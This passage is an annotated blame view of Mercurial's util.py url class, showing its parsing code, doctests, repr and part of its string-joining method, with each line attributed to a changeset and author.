2746 >>> url(br'\\blah\blah\blah#baz')
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2747 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2748 >>> url(br'file:///C:\users\me')
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
2749 <url scheme: 'file', path: 'C:\\users\\me'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2750
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2751 Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2752
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2753 >>> url(b'ssh://joe:xyz@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2754 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2755 >>> url(b'ssh://joe@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2756 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2757
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2758 Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2759
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2760 >>> url(b'http://host/a?b#c')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2761 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2762 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2763 <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2764
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2765 Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2766
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2767 >>> url(b'')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2768 <url path: ''>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2769 >>> url(b'#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2770 <url path: '', fragment: 'a'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2771 >>> url(b'http://host/')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2772 <url scheme: 'http', host: 'host', path: ''>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2773 >>> url(b'http://host/#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2774 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2775
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2776 Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2777
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2778 >>> url(b'http:')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
2779 <url scheme: 'http'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2780 """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2781
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2782 _safechars = "!~*'()+"
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
2783 _safepchars = "/!~*'()+:\\"
30339
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30338
diff changeset
2784 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2785
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2786 def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2787 # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2788 self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2789 self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2790 self._localpath = True
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2791 self._hostport = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2792 self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2793
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2794 if parsefragment and '#' in path:
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2795 path, self.fragment = path.split('#', 1)
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
2796
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
2797 # special case for Windows drive letters and UNC paths
30339
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30338
diff changeset
2798 if hasdriveletter(path) or path.startswith('\\\\'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2799 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2800 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2801
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2802 # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2803 # normal URLS
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2804 if path.startswith('bundle:'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2805 self.scheme = 'bundle'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2806 path = path[7:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2807 if path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2808 path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2809 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2810 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2811
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2812 if self._matchscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2813 parts = path.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2814 if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2815 self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2816 self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2817
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2818 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2819 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2820 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2821 self.path = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2822 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2823 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2824 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2825 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2826 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2827
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2828 if parsequery and '?' in path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2829 path, self.query = path.split('?', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2830 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2831 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2832 if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2833 self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2834
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2835 # // is required to specify a host/authority
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2836 if path and path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2837 parts = path[2:].split('/', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2838 if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2839 self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2840 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2841 self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2842 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2843 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2844 self.host = None
15018
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
2845 # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
2846 # path of file:///d:/ is d:/, not /d:/
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
2847 if path and not hasdriveletter(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2848 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2849
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2850 if self.host and '@' in self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2851 self.user, self.host = self.host.rsplit('@', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2852 if ':' in self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2853 self.user, self.passwd = self.user.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2854 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2855 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2856
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2857 # Don't split on colons in IPv6 addresses without ports
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2858 if (self.host and ':' in self.host and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2859 not (self.host.startswith('[') and self.host.endswith(']'))):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2860 self._hostport = self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2861 self.host, self.port = self.host.rsplit(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2862 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2863 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2864
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2865 if (self.host and self.scheme == 'file' and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2866 self.host not in ('localhost', '127.0.0.1', '[::1]')):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2867 raise Abort(_('file:// URLs can only refer to localhost'))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2868
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2869 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2870
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2871 # leave the query string escaped
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2872 for a in ('user', 'passwd', 'host', 'port',
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2873 'path', 'fragment'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2874 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2875 if v is not None:
31573
4ebecf331d7d util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31547
diff changeset
2876 setattr(self, a, urlreq.unquote(v))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2877
34089
30535fe47e78 py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents: 34069
diff changeset
2878 @encoding.strmethod
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2879 def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2880 attrs = []
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2881 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2882 'query', 'fragment'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2883 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2884 if v is not None:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2885 attrs.append('%s: %r' % (a, v))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2886 return '<url %s>' % ', '.join(attrs)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2887
33038
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32904
diff changeset
2888 def __bytes__(self):
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
2889 r"""Join the URL's components back into a URL string.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2890
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2891 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2892
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2893 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452
de7e2fba4326 util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents: 15392
diff changeset
2894 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2895 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2896 'http://user:pw@host:80/?foo=bar&baz=42'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2897 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2898 'http://user:pw@host:80/?foo=bar%3dbaz'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2899 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2900 'ssh://user:pw@[::1]:2200//home/joe#'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2901 >>> bytes(url(b'http://localhost:80//'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2902 'http://localhost:80//'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2903 >>> bytes(url(b'http://localhost:80/'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2904 'http://localhost:80/'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2905 >>> bytes(url(b'http://localhost:80'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2906 'http://localhost:80/'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2907 >>> bytes(url(b'bundle:foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2908 'bundle:foo'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2909 >>> bytes(url(b'bundle://../foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2910 'bundle:../foo'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2911 >>> bytes(url(b'path'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2912 'path'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2913 >>> bytes(url(b'file:///tmp/foo/bar'))
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
2914 'file:///tmp/foo/bar'
34149
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34146
diff changeset
2915 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611
ec8a49c46d7e merge with stable
Matt Mackall <mpm@selenic.com>
parents: 15513 15609
diff changeset
2916 'file:///c:/tmp/foo/bar'
34152
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34149
diff changeset
2917 >>> print(url(br'bundle:foo\bar'))
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
2918 bundle:foo\bar
34152
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34149
diff changeset
2919 >>> print(url(br'file:///D:\data\hg'))
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
2920 file:///D:\data\hg
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2921 """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2922 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2923 s = self.path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2924 if self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2925 s = 'bundle:' + s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2926 if self.fragment:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2927 s += '#' + self.fragment
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2928 return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2929
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2930 s = self.scheme + ':'
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
2931 if self.user or self.passwd or self.host:
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
2932 s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2933 elif self.scheme and (not self.path or self.path.startswith('/')
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2934 or hasdriveletter(self.path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2935 s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2936 if hasdriveletter(self.path):
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2937 s += '/'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2938 if self.user:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2939 s += urlreq.quote(self.user, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2940 if self.passwd:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
